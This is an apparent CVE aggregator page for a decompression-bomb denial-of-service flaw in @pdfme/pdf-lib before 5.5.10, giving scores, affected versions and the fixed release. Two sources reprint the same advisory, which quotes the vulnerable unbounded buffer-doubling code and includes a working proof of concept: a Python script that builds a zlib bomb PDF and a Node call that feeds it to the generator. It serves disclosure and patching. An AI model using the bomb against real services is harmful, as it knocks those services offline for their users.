Every CVE Search/ Get API key

CVE-2026-82864

pdfme pdf-lib before 5.5.10 Denial of Service via Decompression Bomb

7.1 HighFix available

pdfme pdf-lib versions before 5.5.10 contain an unbounded buffer growth vulnerability in the DecodeStream.ensureBuffer() method that allows attackers to cause denial of service by supplying a crafted PDF with a FlateDecode stream containing a decompression bomb. Attackers can upload a small compressed PDF that decompresses to hundreds of megabytes, exhausting memory and crashing the Node.js process or freezing browser tabs during PDF parsing.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
Low
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
High

Exploit likelihood

0.44%Up 0.2 points since Aug 31, 2026
90%50%10%1%

What each source reports

CVE List Score used 7.1

pdfme pdf-lib before 5.5.10 Denial of Service via Decompression Bomb

pdfme pdf-lib versions before 5.5.10 contain an unbounded buffer growth vulnerability in the DecodeStream.ensureBuffer() method that allows attackers to cause denial of service by supplying a crafted PDF with a FlateDecode stream containing a decompression bomb. Attackers can upload a small compressed PDF that decompresses to hundreds of megabytes, exhausting memory and crashing the Node.js process or freezing browser tabs during PDF parsing.

Record
CVE-2026-82864
CVSS 4.0
7.1 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-409
Updated
2026-11-02
EUVDEUVD-2026-68399 7.1

pdfme pdf-lib versions before 5.5.10 contain an unbounded buffer growth vulnerability in the DecodeStream.ensureBuffer() method that allows attackers to cause denial of service by supplying a crafted PDF with a FlateDecode stream containing a decompression bomb. Attackers can upload a small compressed PDF that decompresses to hundreds of megabytes, exhausting memory and crashing the Node.js process or freezing browser tabs during PDF parsing.

Record
EUVD-2026-68399
CVSS 4.0
7.1 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-gvgq-37w5-4f8q 7.1

pdfme pdf-lib versions before 5.5.10 contain an unbounded buffer growth vulnerability in the...

pdfme pdf-lib versions before 5.5.10 contain an unbounded buffer growth vulnerability in the DecodeStream.ensureBuffer() method that allows attackers to cause denial of service by supplying a crafted PDF with a FlateDecode stream containing a decompression bomb. Attackers can upload a small compressed PDF that decompresses to hundreds of megabytes, exhausting memory and crashing the Node.js process or freezing browser tabs during PDF parsing.

Record
GHSA-gvgq-37w5-4f8q
CVSS 4.0
7.1 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-409
Updated
2026-11-02
GitHub AdvisoriesGHSA-vrqm-gvq7-rrwh 6.5

PDFME Affected by Decompression Bomb in FlateDecode Stream Parsing Causes Memory Exhaustion DoS

Summary

The DecodeStream.ensureBuffer() method in @pdfme/pdf-lib doubles its internal buffer without any upper bound on the decompressed size. A crafted PDF containing a FlateDecode stream with a high compression ratio (decompression bomb) causes unbounded memory allocation during stream decoding, leading to memory exhaustion and denial of service in both server-side (generator) and client-side (UI) contexts.

Details

The vulnerability exists in the DecodeStream class, which is the base class for all stream decoders including FlateStream (DEFLATE/zlib decompression).

Unbounded buffer growth in ensureBuffer() — packages/pdf-lib/src/core/streams/DecodeStream.ts:148-160:

protected ensureBuffer(requested: number) {
  const buffer = this.buffer;
  if (requested <= buffer.byteLength) {
    return buffer;
  }
  let size = this.minBufferLength;
  while (size < requested) {
    size *= 2;  // Doubles with no upper bound
  }
  const buffer2 = new Uint8Array(size);  // Allocates without limit
  buffer2.set(buffer);
  return (this.buffer = buffer2);
}

The size *= 2 loop has no maximum size check. The buffer will continue doubling until the process runs out of memory.

Unconditional full decompression in decode() — DecodeStream.ts:139-141:

decode(): Uint8Array {
  while (!this.eof) this.readBlock();  // Fully decompresses before returning
  return this.buffer.subarray(0, this.bufferLength);
}

FlateStream.readBlock() calls ensureBuffer() repeatedly during decompression — packages/pdf-lib/src/core/streams/FlateStream.ts:272-274:

if (pos + 1 >= limit) {
  buffer = this.ensureBuffer(pos + 1);
  limit = buffer.length;
}

And again at line 297-300:

if (pos + len >= limit) {
  buffer = this.ensureBuffer(pos + len);
  limit = buffer.length;
}

Entry point via basePdf — packages/generator/src/helper.ts:42-43:

const willLoadPdf = await getB64BasePdf(basePdf);
const embedPdf = await PDFDocument.load(willLoadPdf);

The basePdf parameter accepts base64-encoded data, a URL, or raw bytes. When PDFDocument.load() parses the PDF, it encounters FlateDecode streams and decompresses them through FlateStream → DecodeStream with no size limits.

The same code path exists in the UI package at packages/ui/src/helper.ts:292 and packages/ui/src/hooks.ts:67.

PoC

Step 1: Create a decompression bomb PDF

#!/usr/bin/env python3
"""Generate a PDF decompression bomb for PoC."""
import zlib
import struct

# Create highly compressible data: 100MB of null bytes
# compresses to ~100KB (~1000:1 ratio)
uncompressed = b'\x00' * (100 * 1024 * 1024)  # 100 MB
compressed = zlib.compress(uncompressed, 9)

# Minimal PDF structure with FlateDecode stream
pdf = b"""%PDF-1.4
1 0 obj
<< /Type /Catalog /Pages 2 0 R >>
endobj

2 0 obj
<< /Type /Pages /Kids [3 0 R] /Count 1 >>
endobj

3 0 obj
<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792]
   /Contents 4 0 R >>
endobj

4 0 obj
<< /Filter /FlateDecode /Length """ + str(len(compressed)).encode() + b""" >>
stream
""" + compressed + b"""
endstream
endobj

xref
0 5
"""
# Write proper xref (simplified for PoC)
with open("bomb.pdf", "wb") as f:
    f.write(pdf)
    f.write(b"trailer << /Size 5 /Root 1 0 R >>\nstartxref\n0\n%%EOF\n")

print(f"Compressed size: {len(compressed)} bytes")
print(f"Decompressed size: {len(uncompressed)} bytes")
print(f"Ratio: {len(uncompressed)/len(compressed):.0f}:1")

Step 2: Trigger via @pdfme/generator

const { generate } = require('@pdfme/generator');
const fs = require('fs');

const bombPdf = fs.readFileSync('bomb.pdf');

// This will cause unbounded memory allocation during PDF parsing
generate({
  template: {
    basePdf: bombPdf,  // Attacker-controlled input
    schemas: [[]],
  },
  inputs: [{}],
  plugins: {},
}).catch(err => console.error('OOM or crash:', err.message));

**Step 3: Observe…

Record
GHSA-vrqm-gvq7-rrwh
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-409
Updated
2026-11-02
NVD 7.1

pdfme pdf-lib versions before 5.5.10 contain an unbounded buffer growth vulnerability in the DecodeStream.ensureBuffer() method that allows attackers to cause denial of service by supplying a crafted PDF with a FlateDecode stream containing a decompression bomb. Attackers can upload a small compressed PDF that decompresses to hundreds of megabytes, exhausting memory and crashing the Node.js process or freezing browser tabs during PDF parsing.

Record
CVE-2026-82864
CVSS 4.0
7.1 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-409
Updated
2026-11-02
OSV 7.1

pdfme pdf-lib before 5.5.10 Denial of Service via Decompression Bomb

pdfme pdf-lib versions before 5.5.10 contain an unbounded buffer growth vulnerability in the DecodeStream.ensureBuffer() method that allows attackers to cause denial of service by supplying a crafted PDF with a FlateDecode stream containing a decompression bomb. Attackers can upload a small compressed PDF that decompresses to hundreds of megabytes, exhausting memory and crashing the Node.js process or freezing browser tabs during PDF parsing.

Record
CVE-2026-82864
CVSS 4.0
7.1 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-409
Updated
2026-11-02
OSVGHSA-vrqm-gvq7-rrwh 6.5

PDFME Affected by Decompression Bomb in FlateDecode Stream Parsing Causes Memory Exhaustion DoS

Summary

The DecodeStream.ensureBuffer() method in @pdfme/pdf-lib doubles its internal buffer without any upper bound on the decompressed size. A crafted PDF containing a FlateDecode stream with a high compression ratio (decompression bomb) causes unbounded memory allocation during stream decoding, leading to memory exhaustion and denial of service in both server-side (generator) and client-side (UI) contexts.

Details

The vulnerability exists in the DecodeStream class, which is the base class for all stream decoders including FlateStream (DEFLATE/zlib decompression).

Unbounded buffer growth in ensureBuffer() — packages/pdf-lib/src/core/streams/DecodeStream.ts:148-160:

protected ensureBuffer(requested: number) {
  const buffer = this.buffer;
  if (requested <= buffer.byteLength) {
    return buffer;
  }
  let size = this.minBufferLength;
  while (size < requested) {
    size *= 2;  // Doubles with no upper bound
  }
  const buffer2 = new Uint8Array(size);  // Allocates without limit
  buffer2.set(buffer);
  return (this.buffer = buffer2);
}

The size *= 2 loop has no maximum size check. The buffer will continue doubling until the process runs out of memory.

Unconditional full decompression in decode() — DecodeStream.ts:139-141:

decode(): Uint8Array {
  while (!this.eof) this.readBlock();  // Fully decompresses before returning
  return this.buffer.subarray(0, this.bufferLength);
}

FlateStream.readBlock() calls ensureBuffer() repeatedly during decompression — packages/pdf-lib/src/core/streams/FlateStream.ts:272-274:

if (pos + 1 >= limit) {
  buffer = this.ensureBuffer(pos + 1);
  limit = buffer.length;
}

And again at line 297-300:

if (pos + len >= limit) {
  buffer = this.ensureBuffer(pos + len);
  limit = buffer.length;
}

Entry point via basePdf — packages/generator/src/helper.ts:42-43:

const willLoadPdf = await getB64BasePdf(basePdf);
const embedPdf = await PDFDocument.load(willLoadPdf);

The basePdf parameter accepts base64-encoded data, a URL, or raw bytes. When PDFDocument.load() parses the PDF, it encounters FlateDecode streams and decompresses them through FlateStream → DecodeStream with no size limits.

The same code path exists in the UI package at packages/ui/src/helper.ts:292 and packages/ui/src/hooks.ts:67.

PoC

Step 1: Create a decompression bomb PDF

#!/usr/bin/env python3
"""Generate a PDF decompression bomb for PoC."""
import zlib
import struct

# Create highly compressible data: 100MB of null bytes
# compresses to ~100KB (~1000:1 ratio)
uncompressed = b'\x00' * (100 * 1024 * 1024)  # 100 MB
compressed = zlib.compress(uncompressed, 9)

# Minimal PDF structure with FlateDecode stream
pdf = b"""%PDF-1.4
1 0 obj
<< /Type /Catalog /Pages 2 0 R >>
endobj

2 0 obj
<< /Type /Pages /Kids [3 0 R] /Count 1 >>
endobj

3 0 obj
<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792]
   /Contents 4 0 R >>
endobj

4 0 obj
<< /Filter /FlateDecode /Length """ + str(len(compressed)).encode() + b""" >>
stream
""" + compressed + b"""
endstream
endobj

xref
0 5
"""
# Write proper xref (simplified for PoC)
with open("bomb.pdf", "wb") as f:
    f.write(pdf)
    f.write(b"trailer << /Size 5 /Root 1 0 R >>\nstartxref\n0\n%%EOF\n")

print(f"Compressed size: {len(compressed)} bytes")
print(f"Decompressed size: {len(uncompressed)} bytes")
print(f"Ratio: {len(uncompressed)/len(compressed):.0f}:1")

Step 2: Trigger via @pdfme/generator

const { generate } = require('@pdfme/generator');
const fs = require('fs');

const bombPdf = fs.readFileSync('bomb.pdf');

// This will cause unbounded memory allocation during PDF parsing
generate({
  template: {
    basePdf: bombPdf,  // Attacker-controlled input
    schemas: [[]],
  },
  inputs: [{}],
  plugins: {},
}).catch(err => console.error('OOM or crash:', err.message));

**Step 3: Observe…

Record
GHSA-vrqm-gvq7-rrwh
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-409
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
@pdfme/pdf-lib
npm
through 5.5.9
5.5.10
@pdfme/pdf-lib
npm
before 5.5.10
5.5.10

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-82864 is a high vulnerability (CVSS 7.1) in Pdfme Pdf-lib, published March 20, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.44%, the 38th percentile. Fixed in @pdfme/pdf-lib 5.5.10.

References

This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open